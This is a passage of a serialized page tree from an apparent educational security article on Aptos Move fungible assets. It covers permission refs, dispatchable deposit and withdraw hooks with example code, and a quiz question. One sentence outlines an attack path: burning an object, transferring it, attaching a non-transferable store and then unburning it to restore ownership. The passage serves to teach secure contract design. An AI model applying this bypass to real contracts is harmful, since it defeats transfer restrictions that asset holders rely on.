children":65112},{"style":230},[65113],{"type":28,"value":63391},{"type":23,"tag":213,"props":65115,"children":65116},{"style":274},[65117],{"type":28,"value":124},{"type":23,"tag":213,"props":65119,"children":65120},{"style":230},[65121],{"type":28,"value":13791},{"type":23,"tag":213,"props":65123,"children":65124},{"style":220},[65125],{"type":28,"value":2867},{"type":23,"tag":213,"props":65127,"children":65128},{"class":215,"line":533},[65129,65133],{"type":23,"tag":213,"props":65130,"children":65131},{"style":257},[65132],{"type":28,"value":62398},{"type":23,"tag":213,"props":65134,"children":65135},{"style":220},[65136],{"type":28,"value":1511},{"type":23,"tag":213,"props":65138,"children":65139},{"class":215,"line":543},[65140,65145,65149,65154,65158,65163,65167],{"type":23,"tag":213,"props":65141,"children":65142},{"style":268},[65143],{"type":28,"value":65144}," object",{"type":23,"tag":213,"props":65146,"children":65147},{"style":274},[65148],{"type":28,"value":124},{"type":23,"tag":213,"props":65150,"children":65151},{"style":220},[65152],{"type":28,"value":65153},"owner ",{"type":23,"tag":213,"props":65155,"children":65156},{"style":274},[65157],{"type":28,"value":8660},{"type":23,"tag":213,"props":65159,"children":65160},{"style":230},[65161],{"type":28,"value":65162}," ref",{"type":23,"tag":213,"props":65164,"children":65165},{"style":274},[65166],{"type":28,"value":124},{"type":23,"tag":213,"props":65168,"children":65169},{"style":220},[65170],{"type":28,"value":65171},"owner,\n",{"type":23,"tag":213,"props":65173,"children":65174},{"class":215,"line":551},[65175,65180,65184,65188],{"type":23,"tag":213,"props":65176,"children":65177},{"style":220},[65178],{"type":28,"value":65179}," error",{"type":23,"tag":213,"props":65181,"children":65182},{"style":274},[65183],{"type":28,"value":562},{"type":23,"tag":213,"props":65185,"children":65186},{"style":257},[65187],{"type":28,"value":63872},{"type":23,"tag":213,"props":65189,"children":65190},{"style":220},[65191],{"type":28,"value":64556},{"type":23,"tag":213,"props":65193,"children":65194},{"class":215,"line":570},[65195],{"type":23,"tag":213,"props":65196,"children":65197},{"style":220},[65198],{"type":28,"value":43705},{"type":23,"tag":213,"props":65200,"children":65201},{"class":215,"line":655},[65202],{"type":23,"tag":213,"props":65203,"children":65204},{"style":220},[65205],{"type":28,"value":61840},{"type":23,"tag":213,"props":65207,"children":65208},{"class":215,"line":1176},[65209,65213,65217],{"type":23,"tag":213,"props":65210,"children":65211},{"style":220},[65212],{"type":28,"value":62772},{"type":23,"tag":213,"props":65214,"children":65215},{"style":274},[65216],{"type":28,"value":9675},{"type":23,"tag":213,"props":65218,"children":65219},{"style":220},[65220],{"type":28,"value":11856},{"type":23,"tag":213,"props":65222,"children":65223},{"class":215,"line":1202},[65224],{"type":23,"tag":213,"props":65225,"children":65226},{"style":220},[65227],{"type":28,"value":61840},{"type":23,"tag":213,"props":65229,"children":65230},{"class":215,"line":1758},[65231,65235,65239,65243,65247,65252],{"type":23,"tag":213,"props":65232,"children":65233},{"style":268},[65234],{"type":28,"value":64879},{"type":23,"tag":213,"props":65236,"children":65237},{"style":274},[65238],{"type":28,"value":124},{"type":23,"tag":213,"props":65240,"children":65241},{"style":220},[65242],{"type":28,"value":65153},{"type":23,"tag":213,"props":65244,"children":65245},{"style":274},[65246],{"type":28,"value":3190},{"type":23,"tag":213,"props":65248,"children":65249},{"style":268},[65250],{"type":28,"value":65251}," to",{"type":23,"tag":213,"props":65253,"children":65254},{"style":220},[65255],{"type":28,"value":313},{"type":23,"tag":213,"props":65257,"children":65258},{"class":215,"line":1767},[65259],{"type":23,"tag":213,"props":65260,"children":65261},{"style":220},[65262],{"type":28,"value":1208},{"type":23,"tag":24,"props":65264,"children":65265},{},[65266,65268,65273,65275,65280],{"type":28,"value":65267},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":209,"props":65269,"children":65271},{"className":65270},[],[65272],{"type":28,"value":63925},{"type":28,"value":65274},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":209,"props":65276,"children":65278},{"className":65277},[],[65279],{"type":28,"value":7236},{"type":28,"value":65281}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":9693,"props":65283,"children":65285},{"id":65284},"references",[65286],{"type":28,"value":65287},"References",{"type":23,"tag":24,"props":65289,"children":65290},{},[65291,65296,65298,65304,65306,65311,65313,65318],{"type":23,"tag":209,"props":65292,"children":65294},{"className":65293},[],[65295],{"type":28,"value":65287},{"type":28,"value":65297}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":209,"props":65299,"children":65301},{"className":65300},[],[65302],{"type":28,"value":65303},"Refs",{"type":28,"value":65305}," are based on the ",{"type":23,"tag":209,"props":65307,"children":65309},{"className":65308},[],[65310],{"type":28,"value":48903},{"type":28,"value":65312}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":209,"props":65314,"children":65316},{"className":65315},[],[65317],{"type":28,"value":48903},{"type":28,"value":65319}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":65321,"children":65322},{},[65323,65325,65330,65332,65337,65338,65344,65346,65351,65353,65358],{"type":28,"value":65324},"Let's get back to the ",{"type":23,"tag":209,"props":65326,"children":65328},{"className":65327},[],[65329],{"type":28,"value":62130},{"type":28,"value":65331}," deletion example. Both ",{"type":23,"tag":209,"props":65333,"children":65335},{"className":65334},[],[65336],{"type":28,"value":63415},{"type":28,"value":1466},{"type":23,"tag":209,"props":65339,"children":65341},{"className":65340},[],[65342],{"type":28,"value":65343},"fungible_asset::remove_store",{"type":28,"value":65345}," use the same object-specific ",{"type":23,"tag":209,"props":65347,"children":65349},{"className":65348},[],[65350],{"type":28,"value":63347},{"type":28,"value":65352}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":209,"props":65354,"children":65356},{"className":65355},[],[65357],{"type":28,"value":63347},{"type":28,"value":65359}," for fungible assets.",{"type":23,"tag":202,"props":65361,"children":65362},{"className":206,"code":63297,"language":205,"meta":7,"style":7},[65363],{"type":23,"tag":209,"props":65364,"children":65365},{"__ignoreMap":7},[65366,65373,65412,65419,65426],{"type":23,"tag":213,"props":65367,"children":65368},{"class":215,"line":216},[65369],{"type":23,"tag":213,"props":65370,"children":65371},{"style":537},[65372],{"type":28,"value":63309},{"type":23,"tag":213,"props":65374,"children":65375},{"class":215,"line":226},[65376,65380,65384,65388,65392,65396,65400,65404,65408],{"type":23,"tag":213,"props":65377,"children":65378},{"style":268},[65379],{"type":28,"value":61729},{"type":23,"tag":213,"props":65381,"children":65382},{"style":268},[65383],{"type":28,"value":6299},{"type":23,"tag":213,"props":65385,"children":65386},{"style":257},[65387],{"type":28,"value":63325},{"type":23,"tag":213,"props":65389,"children":65390},{"style":220},[65391],{"type":28,"value":265},{"type":23,"tag":213,"props":65393,"children":65394},{"style":268},[65395],{"type":28,"value":63334},{"type":23,"tag":213,"props":65397,"children":65398},{"style":274},[65399],{"type":28,"value":277},{"type":23,"tag":213,"props":65401,"children":65402},{"style":274},[65403],{"type":28,"value":927},{"type":23,"tag":213,"props":65405,"children":65406},{"style":290},[65407],{"type":28,"value":63347},{"type":23,"tag":213,"props":65409,"children":65410},{"style":220},[65411],{"type":28,"value":2183},{"type":23,"tag":213,"props":65413,"children":65414},{"class":215,"line":524},[65415],{"type":23,"tag":213,"props":65416,"children":65417},{"emptyLinePlaceholder":18},[65418],{"type":28,"value":530},{"type":23,"tag":213,"props":65420,"children":65421},{"class":215,"line":533},[65422],{"type":23,"tag":213,"props":65423,"children":65424},{"style":537},[65425],{"type":28,"value":63366},{"type":23,"tag":213,"props":65427,"children":65428},{"class":215,"line":543},[65429,65433,65437,65441,65445,65449,65453,65457],{"type":23,"tag":213,"props":65430,"children":65431},{"style":268},[65432],{"type":28,"value":61729},{"type":23,"tag":213,"props":65434,"children":65435},{"style":268},[65436],{"type":28,"value":6299},{"type":23,"tag":213,"props":65438,"children":65439},{"style":257},[65440],{"type":28,"value":63382},{"type":23,"tag":213,"props":65442,"children":65443},{"style":220},[65444],{"type":28,"value":265},{"type":23,"tag":213,"props":65446,"children":65447},{"style":230},[65448],{"type":28,"value":63391},{"type":23,"tag":213,"props":65450,"children":65451},{"style":274},[65452],{"type":28,"value":277},{"type":23,"tag":213,"props":65454,"children":65455},{"style":290},[65456],{"type":28,"value":63400},{"type":23,"tag":213,"props":65458,"children":65459},{"style":220},[65460],{"type":28,"value":2183},{"type":23,"tag":24,"props":65462,"children":65463},{},[65464,65466,65471,65473,65479],{"type":28,"value":65465},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":209,"props":65467,"children":65469},{"className":65468},[],[65470],{"type":28,"value":62130},{"type":28,"value":65472}," is toggled using a ",{"type":23,"tag":209,"props":65474,"children":65476},{"className":65475},[],[65477],{"type":28,"value":65478},"TransferRef",{"type":28,"value":65480},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":202,"props":65482,"children":65484},{"className":206,"code":65483,"language":205,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[65485],{"type":23,"tag":209,"props":65486,"children":65487},{"__ignoreMap":7},[65488,65524,65548,65575,65594],{"type":23,"tag":213,"props":65489,"children":65490},{"class":215,"line":216},[65491,65495,65499,65504,65508,65512,65516,65520],{"type":23,"tag":213,"props":65492,"children":65493},{"style":268},[65494],{"type":28,"value":61729},{"type":23,"tag":213,"props":65496,"children":65497},{"style":268},[65498],{"type":28,"value":6299},{"type":23,"tag":213,"props":65500,"children":65501},{"style":268},[65502],{"type":28,"value":65503}," set_frozen_flag",{"type":23,"tag":213,"props":65505,"children":65506},{"style":220},[65507],{"type":28,"value":434},{"type":23,"tag":213,"props":65509,"children":65510},{"style":290},[65511],{"type":28,"value":6079},{"type":23,"tag":213,"props":65513,"children":65514},{"style":274},[65515],{"type":28,"value":277},{"type":23,"tag":213,"props":65517,"children":65518},{"style":268},[65519],{"type":28,"value":918},{"type":23,"tag":213,"props":65521,"children":65522},{"style":220},[65523],{"type":28,"value":6681},{"type":23,"tag":213,"props":65525,"children":65526},{"class":215,"line":226},[65527,65532,65536,65540,65544],{"type":23,"tag":213,"props":65528,"children":65529},{"style":230},[65530],{"type":28,"value":65531}," ref",{"type":23,"tag":213,"props":65533,"children":65534},{"style":274},[65535],{"type":28,"value":277},{"type":23,"tag":213,"props":65537,"children":65538},{"style":274},[65539],{"type":28,"value":927},{"type":23,"tag":213,"props":65541,"children":65542},{"style":290},[65543],{"type":28,"value":65478},{"type":23,"tag":213,"props":65545,"children":65546},{"style":220},[65547],{"type":28,"value":944},{"type":23,"tag":213,"props":65549,"children":65550},{"class":215,"line":524},[65551,65555,65559,65563,65567,65571],{"type":23,"tag":213,"props":65552,"children":65553},{"style":268},[65554],{"type":28,"value":29470},{"type":23,"tag":213,"props":65556,"children":65557},{"style":274},[65558],{"type":28,"value":277},{"type":23,"tag":213,"props":65560,"children":65561},{"style":290},[65562],{"type":28,"value":61615},{"type":23,"tag":213,"props":65564,"children":65565},{"style":220},[65566],{"type":28,"value":434},{"type":23,"tag":213,"props":65568,"children":65569},{"style":290},[65570],{"type":28,"value":6079},{"type":23,"tag":213,"props":65572,"children":65573},{"style":220},[65574],{"type":28,"value":6230},{"type":23,"tag":213,"props":65576,"children":65577},{"class":215,"line":533},[65578,65582,65586,65590],{"type":23,"tag":213,"props":65579,"children":65580},{"style":268},[65581],{"type":28,"value":61267},{"type":23,"tag":213,"props":65583,"children":65584},{"style":274},[65585],{"type":28,"value":277},{"type":23,"tag":213,"props":65587,"children":65588},{"style":290},[65589],{"type":28,"value":965},{"type":23,"tag":213,"props":65591,"children":65592},{"style":220},[65593],{"type":28,"value":944},{"type":23,"tag":213,"props":65595,"children":65596},{"class":215,"line":543},[65597],{"type":23,"tag":213,"props":65598,"children":65599},{"style":220},[65600],{"type":28,"value":2183},{"type":23,"tag":24,"props":65602,"children":65603},{},[65604,65605,65610,65611,65616],{"type":28,"value":2623},{"type":23,"tag":209,"props":65606,"children":65608},{"className":65607},[],[65609],{"type":28,"value":48903},{"type":28,"value":6550},{"type":23,"tag":209,"props":65612,"children":65614},{"className":65613},[],[65615],{"type":28,"value":65478},{"type":28,"value":65617}," is used to transfer object ownership:",{"type":23,"tag":202,"props":65619,"children":65621},{"className":206,"code":65620,"language":205,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[65622],{"type":23,"tag":209,"props":65623,"children":65624},{"__ignoreMap":7},[65625,65633,65666,65685],{"type":23,"tag":213,"props":65626,"children":65627},{"class":215,"line":216},[65628],{"type":23,"tag":213,"props":65629,"children":65630},{"style":537},[65631],{"type":28,"value":65632},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":213,"props":65634,"children":65635},{"class":215,"line":226},[65636,65640,65645,65649,65654,65658,65662],{"type":23,"tag":213,"props":65637,"children":65638},{"style":230},[65639],{"type":28,"value":9486},{"type":23,"tag":213,"props":65641,"children":65642},{"style":290},[65643],{"type":28,"value":65644}," TransferRef",{"type":23,"tag":213,"props":65646,"children":65647},{"style":268},[65648],{"type":28,"value":9495},{"type":23,"tag":213,"props":65650,"children":65651},{"style":268},[65652],{"type":28,"value":65653}," drop",{"type":23,"tag":213,"props":65655,"children":65656},{"style":220},[65657],{"type":28,"value":424},{"type":23,"tag":213,"props":65659,"children":65660},{"style":268},[65661],{"type":28,"value":6032},{"type":23,"tag":213,"props":65663,"children":65664},{"style":220},[65665],{"type":28,"value":1375},{"type":23,"tag":213,"props":65667,"children":65668},{"class":215,"line":524},[65669,65673,65677,65681],{"type":23,"tag":213,"props":65670,"children":65671},{"style":230},[65672],{"type":28,"value":20840},{"type":23,"tag":213,"props":65674,"children":65675},{"style":274},[65676],{"type":28,"value":277},{"type":23,"tag":213,"props":65678,"children":65679},{"style":268},[65680],{"type":28,"value":6342},{"type":23,"tag":213,"props":65682,"children":65683},{"style":220},[65684],{"type":28,"value":944},{"type":23,"tag":213,"props":65686,"children":65687},{"class":215,"line":533},[65688],{"type":23,"tag":213,"props":65689,"children":65690},{"style":220},[65691],{"type":28,"value":1208},{"type":23,"tag":24,"props":65693,"children":65694},{},[65695,65697,65702],{"type":28,"value":65696},"While the fungible asset's ",{"type":23,"tag":209,"props":65698,"children":65700},{"className":65699},[],[65701],{"type":28,"value":65478},{"type":28,"value":65703}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":202,"props":65705,"children":65707},{"className":206,"code":65706,"language":205,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[65708],{"type":23,"tag":209,"props":65709,"children":65710},{"__ignoreMap":7},[65711,65719,65727,65758,65785],{"type":23,"tag":213,"props":65712,"children":65713},{"class":215,"line":216},[65714],{"type":23,"tag":213,"props":65715,"children":65716},{"style":537},[65717],{"type":28,"value":65718},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":213,"props":65720,"children":65721},{"class":215,"line":226},[65722],{"type":23,"tag":213,"props":65723,"children":65724},{"style":537},[65725],{"type":28,"value":65726},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":213,"props":65728,"children":65729},{"class":215,"line":524},[65730,65734,65738,65742,65746,65750,65754],{"type":23,"tag":213,"props":65731,"children":65732},{"style":230},[65733],{"type":28,"value":9486},{"type":23,"tag":213,"props":65735,"children":65736},{"style":290},[65737],{"type":28,"value":65644},{"type":23,"tag":213,"props":65739,"children":65740},{"style":268},[65741],{"type":28,"value":9495},{"type":23,"tag":213,"props":65743,"children":65744},{"style":268},[65745],{"type":28,"value":65653},{"type":23,"tag":213,"props":65747,"children":65748},{"style":220},[65749],{"type":28,"value":424},{"type":23,"tag":213,"props":65751,"children":65752},{"style":268},[65753],{"type":28,"value":6032},{"type":23,"tag":213,"props":65755,"children":65756},{"style":220},[65757],{"type":28,"value":1375},{"type":23,"tag":213,"props":65759,"children":65760},{"class":215,"line":533},[65761,65765,65769,65773,65777,65781],{"type":23,"tag":213,"props":65762,"children":65763},{"style":268},[65764],{"type":28,"value":61606},{"type":23,"tag":213,"props":65766,"children":65767},{"style":274},[65768],{"type":28,"value":277},{"type":23,"tag":213,"props":65770,"children":65771},{"style":290},[65772],{"type":28,"value":61615},{"type":23,"tag":213,"props":65774,"children":65775},{"style":220},[65776],{"type":28,"value":434},{"type":23,"tag":213,"props":65778,"children":65779},{"style":290},[65780],{"type":28,"value":61624},{"type":23,"tag":213,"props":65782,"children":65783},{"style":220},[65784],{"type":28,"value":6084},{"type":23,"tag":213,"props":65786,"children":65787},{"class":215,"line":543},[65788],{"type":23,"tag":213,"props":65789,"children":65790},{"style":220},[65791],{"type":28,"value":1208},{"type":23,"tag":24,"props":65793,"children":65794},{},[65795,65797,65803,65805,65811],{"type":28,"value":65796},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":209,"props":65798,"children":65800},{"className":65799},[],[65801],{"type":28,"value":65802},"MintRef",{"type":28,"value":65804}," for minting and ",{"type":23,"tag":209,"props":65806,"children":65808},{"className":65807},[],[65809],{"type":28,"value":65810},"BurnRef",{"type":28,"value":65812}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":47,"props":65814,"children":65816},{"id":65815},"dispatchable-fungible-assets",[65817],{"type":28,"value":65818},"Dispatchable fungible assets",{"type":23,"tag":24,"props":65820,"children":65821},{},[65822],{"type":28,"value":65823},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":65825,"children":65826},{},[65827],{"type":28,"value":65828},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":65830,"props":65831,"children":65832},"warning",{},[65833],{"type":23,"tag":24,"props":65834,"children":65835},{},[65836,65838,65844],{"type":28,"value":65837},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":209,"props":65839,"children":65841},{"className":65840},[],[65842],{"type":28,"value":65843},"transfer_assert_minimum_deposit",{"type":28,"value":65845}," that can help mitigate such risks.",{"type":23,"tag":24,"props":65847,"children":65848},{},[65849,65851,65856,65858,65865],{"type":28,"value":65850},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":209,"props":65852,"children":65854},{"className":65853},[],[65855],{"type":28,"value":61729},{"type":28,"value":65857}," to ensure ",{"type":23,"tag":36,"props":65859,"children":65862},{"href":65860,"rel":65861},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[40],[65863],{"type":28,"value":65864},"their signature remains immutable",{"type":28,"value":65866},". An example implementation might look like this:",{"type":23,"tag":202,"props":65868,"children":65870},{"className":206,"code":65869,"language":205,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[65871],{"type":23,"tag":209,"props":65872,"children":65873},{"__ignoreMap":7},[65874,65910,65937,65956,65980,65999,66007,66053,66060,66067,66103,66130,66150,66173,66180,66187,66231],{"type":23,"tag":213,"props":65875,"children":65876},{"class":215,"line":216},[65877,65881,65885,65890,65894,65898,65902,65906],{"type":23,"tag":213,"props":65878,"children":65879},{"style":268},[65880],{"type":28,"value":61729},{"type":23,"tag":213,"props":65882,"children":65883},{"style":268},[65884],{"type":28,"value":6299},{"type":23,"tag":213,"props":65886,"children":65887},{"style":268},[65888],{"type":28,"value":65889}," withdraw_hook",{"type":23,"tag":213,"props":65891,"children":65892},{"style":220},[65893],{"type":28,"value":434},{"type":23,"tag":213,"props":65895,"children":65896},{"style":290},[65897],{"type":28,"value":6079},{"type":23,"tag":213,"props":65899,"children":65900},{"style":274},[65901],{"type":28,"value":277},{"type":23,"tag":213,"props":65903,"children":65904},{"style":268},[65905],{"type":28,"value":918},{"type":23,"tag":213,"props":65907,"children":65908},{"style":220},[65909],{"type":28,"value":6681},{"type":23,"tag":213,"props":65911,"children":65912},{"class":215,"line":226},[65913,65917,65921,65925,65929,65933],{"type":23,"tag":213,"props":65914,"children":65915},{"style":268},[65916],{"type":28,"value":29470},{"type":23,"tag":213,"props":65918,"children":65919},{"style":274},[65920],{"type":28,"value":277},{"type":23,"tag":213,"props":65922,"children":65923},{"style":290},[65924],{"type":28,"value":61615},{"type":23,"tag":213,"props":65926,"children":65927},{"style":220},[65928],{"type":28,"value":434},{"type":23,"tag":213,"props":65930,"children":65931},{"style":290},[65932],{"type":28,"value":6079},{"type":23,"tag":213,"props":65934,"children":65935},{"style":220},[65936],{"type":28,"value":6230},{"type":23,"tag":213,"props":65938,"children":65939},{"class":215,"line":524},[65940,65944,65948,65952],{"type":23,"tag":213,"props":65941,"children":65942},{"style":268},[65943],{"type":28,"value":61636},{"type":23,"tag":213,"props":65945,"children":65946},{"style":274},[65947],{"type":28,"value":277},{"type":23,"tag":213,"props":65949,"children":65950},{"style":290},[65951],{"type":28,"value":308},{"type":23,"tag":213,"props":65953,"children":65954},{"style":220},[65955],{"type":28,"value":944},{"type":23,"tag":213,"props":65957,"children":65958},{"class":215,"line":533},[65959,65964,65968,65972,65976],{"type":23,"tag":213,"props":65960,"children":65961},{"style":268},[65962],{"type":28,"value":65963}," transfer_ref",{"type":23,"tag":213,"props":65965,"children":65966},{"style":274},[65967],{"type":28,"value":277},{"type":23,"tag":213,"props":65969,"children":65970},{"style":274},[65971],{"type":28,"value":927},{"type":23,"tag":213,"props":65973,"children":65974},{"style":290},[65975],{"type":28,"value":65478},{"type":23,"tag":213,"props":65977,"children":65978},{"style":220},[65979],{"type":28,"value":944},{"type":23,"tag":213,"props":65981,"children":65982},{"class":215,"line":543},[65983,65987,65991,65995],{"type":23,"tag":213,"props":65984,"children":65985},{"style":220},[65986],{"type":28,"value":2121},{"type":23,"tag":213,"props":65988,"children":65989},{"style":274},[65990],{"type":28,"value":277},{"type":23,"tag":213,"props":65992,"children":65993},{"style":290},[65994],{"type":28,"value":61594},{"type":23,"tag":213,"props":65996,"children":65997},{"style":220},[65998],{"type":28,"value":1375},{"type":23,"tag":213,"props":66000,"children":66001},{"class":215,"line":551},[66002],{"type":23,"tag":213,"props":66003,"children":66004},{"style":537},[66005],{"type":28,"value":66006}," //check paused, gather fees etc.\n",{"type":23,"tag":213,"props":66008,"children":66009},{"class":215,"line":570},[66010,66015,66019,66024,66028,66033,66037,66041,66045,66049],{"type":23,"tag":213,"props":66011,"children":66012},{"style":220},[66013],{"type":28,"value":66014}," fungible_asset",{"type":23,"tag":213,"props":66016,"children":66017},{"style":274},[66018],{"type":28,"value":562},{"type":23,"tag":213,"props":66020,"children":66021},{"style":257},[66022],{"type":28,"value":66023},"withdraw_with_ref",{"type":23,"tag":213,"props":66025,"children":66026},{"style":220},[66027],{"type":28,"value":265},{"type":23,"tag":213,"props":66029,"children":66030},{"style":268},[66031],{"type":28,"value":66032},"transfer_ref",{"type":23,"tag":213,"props":66034,"children":66035},{"style":220},[66036],{"type":28,"value":424},{"type":23,"tag":213,"props":66038,"children":66039},{"style":268},[66040],{"type":28,"value":6032},{"type":23,"tag":213,"props":66042,"children":66043},{"style":220},[66044],{"type":28,"value":424},{"type":23,"tag":213,"props":66046,"children":66047},{"style":268},[66048],{"type":28,"value":20361},{"type":23,"tag":213,"props":66050,"children":66051},{"style":220},[66052],{"type":28,"value":2183},{"type":23,"tag":213,"props":66054,"children":66055},{"class":215,"line":655},[66056],{"type":23,"tag":213,"props":66057,"children":66058},{"style":220},[66059],{"type":28,"value":1208},{"type":23,"tag":213,"props":66061,"children":66062},{"class":215,"line":1176},[66063],{"type":23,"tag":213,"props":66064,"children":66065},{"emptyLinePlaceholder":18},[66066],{"type":28,"value":530},{"type":23,"tag":213,"props":66068,"children":66069},{"class":215,"line":1202},[66070,66074,66078,66083,66087,66091,66095,66099],{"type":23,"tag":213,"props":66071,"children":66072},{"style":268},[66073],{"type":28,"value":61729},{"type":23,"tag":213,"props":66075,"children":66076},{"style":268},[66077],{"type":28,"value":6299},{"type":23,"tag":213,"props":66079,"children":66080},{"style":268},[66081],{"type":28,"value":66082}," deposit_hook",{"type":23,"tag":213,"props":66084,"children":66085},{"style":220},[66086],{"type":28,"value":434},{"type":23,"tag":213,"props":66088,"children":66089},{"style":290},[66090],{"type":28,"value":6079},{"type":23,"tag":213,"props":66092,"children":66093},{"style":274},[66094],{"type":28,"value":277},{"type":23,"tag":213,"props":66096,"children":66097},{"style":268},[66098],{"type":28,"value":918},{"type":23,"tag":213,"props":66100,"children":66101},{"style":220},[66102],{"type":28,"value":6681},{"type":23,"tag":213,"props":66104,"children":66105},{"class":215,"line":1758},[66106,66110,66114,66118,66122,66126],{"type":23,"tag":213,"props":66107,"children":66108},{"style":268},[66109],{"type":28,"value":29470},{"type":23,"tag":213,"props":66111,"children":66112},{"style":274},[66113],{"type":28,"value":277},{"type":23,"tag":213,"props":66115,"children":66116},{"style":290},[66117],{"type":28,"value":61615},{"type":23,"tag":213,"props":66119,"children":66120},{"style":220},[66121],{"type":28,"value":434},{"type":23,"tag":213,"props":66123,"children":66124},{"style":290},[66125],{"type":28,"value":6079},{"type":23,"tag":213,"props":66127,"children":66128},{"style":220},[66129],{"type":28,"value":6230},{"type":23,"tag":213,"props":66131,"children":66132},{"class":215,"line":1767},[66133,66138,66142,66146],{"type":23,"tag":213,"props":66134,"children":66135},{"style":268},[66136],{"type":28,"value":66137}," fa",{"type":23,"tag":213,"props":66139,"children":66140},{"style":274},[66141],{"type":28,"value":277},{"type":23,"tag":213,"props":66143,"children":66144},{"style":290},[66145],{"type":28,"value":61594},{"type":23,"tag":213,"props":66147,"children":66148},{"style":220},[66149],{"type":28,"value":944},{"type":23,"tag":213,"props":66151,"children":66152},{"class":215,"line":1789},[66153,66157,66161,66165,66169],{"type":23,"tag":213,"props":66154,"children":66155},{"style":268},[66156],{"type":28,"value":65963},{"type":23,"tag":213,"props":66158,"children":66159},{"style":274},[66160],{"type":28,"value":277},{"type":23,"tag":213,"props":66162,"children":66163},{"style":274},[66164],{"type":28,"value":927},{"type":23,"tag":213,"props":66166,"children":66167},{"style":290},[66168],{"type":28,"value":65478},{"type":23,"tag":213,"props":66170,"children":66171},{"style":220},[66172],{"type":28,"value":944},{"type":23,"tag":213,"props":66174,"children":66175},{"class":215,"line":1812},[66176],{"type":23,"tag":213,"props":66177,"children":66178},{"style":220},[66179],{"type":28,"value":14870},{"type":23,"tag":213,"props":66181,"children":66182},{"class":215,"line":1838},[66183],{"type":23,"tag":213,"props":66184,"children":66185},{"style":537},[66186],{"type":28,"value":66006},{"type":23,"tag":213,"props":66188,"children":66189},{"class":215,"line":1851},[66190,66194,66198,66203,66207,66211,66215,66219,66223,66227],{"type":23,"tag":213,"props":66191,"children":66192},{"style":220},[66193],{"type":28,"value":66014},{"type":23,"tag":213,"props":66195,"children":66196},{"style":274},[66197],{"type":28,"value":562},{"type":23,"tag":213,"props":66199,"children":66200},{"style":257},[66201],{"type":28,"value":66202},"deposit_with_ref",{"type":23,"tag":213,"props":66204,"children":66205},{"style":220},[66206],{"type":28,"value":265},{"type":23,"tag":213,"props":66208,"children":66209},{"style":268},[66210],{"type":28,"value":66032},{"type":23,"tag":213,"props":66212,"children":66213},{"style":220},[66214],{"type":28,"value":424},{"type":23,"tag":213,"props":66216,"children":66217},{"style":268},[66218],{"type":28,"value":6032},{"type":23,"tag":213,"props":66220,"children":66221},{"style":220},[66222],{"type":28,"value":424},{"type":23,"tag":213,"props":66224,"children":66225},{"style":268},[66226],{"type":28,"value":61787},{"type":23,"tag":213,"props":66228,"children":66229},{"style":220},[66230],{"type":28,"value":2867},{"type":23,"tag":213,"props":66232,"children":66233},{"class":215,"line":1864},[66234],{"type":23,"tag":213,"props":66235,"children":66236},{"style":220},[66237],{"type":28,"value":1208},{"type":23,"tag":66239,"props":66240,"children":66241},"question",{},[66242,66269],{"type":23,"tag":24,"props":66243,"children":66244},{},[66245,66247,66253,66255,66261,66262,66268],{"type":28,"value":66246},"Why hook functions rely on ",{"type":23,"tag":209,"props":66248,"children":66250},{"className":66249},[],[66251],{"type":28,"value":66252},"*_with_ref",{"type":28,"value":66254}," calls? What would happen if the hook function called ",{"type":23,"tag":209,"props":66256,"children":66258},{"className":66257},[],[66259],{"type":28,"value":66260},"dispatchable_fungible_asset::withdraw",{"type":28,"value":16844},{"type":23,"tag":209,"props":66263,"children":66265},{"className":66264},[],[66266],{"type":28,"value":66267},"fungible_asset::withdraw_with_ref",{"type":28,"value":2126},{"type":23,"tag":66270,"props":66271,"children":66272},"template",{"v-slot:answer-0":7},[66273,66285],{"type":23,"tag":24,"props":66274,"children":66275},{},[66276,66278,66283],{"type":28,"value":66277},"A1: Hook functions rely on ",{"type":23,"tag":209,"props":66279,"children":66281},{"className":66280},[],[66282],{"type":28,"value":66252},{"type":28,"value":66284}," calls because the default fungible asset functions verify if the fungible asset is not 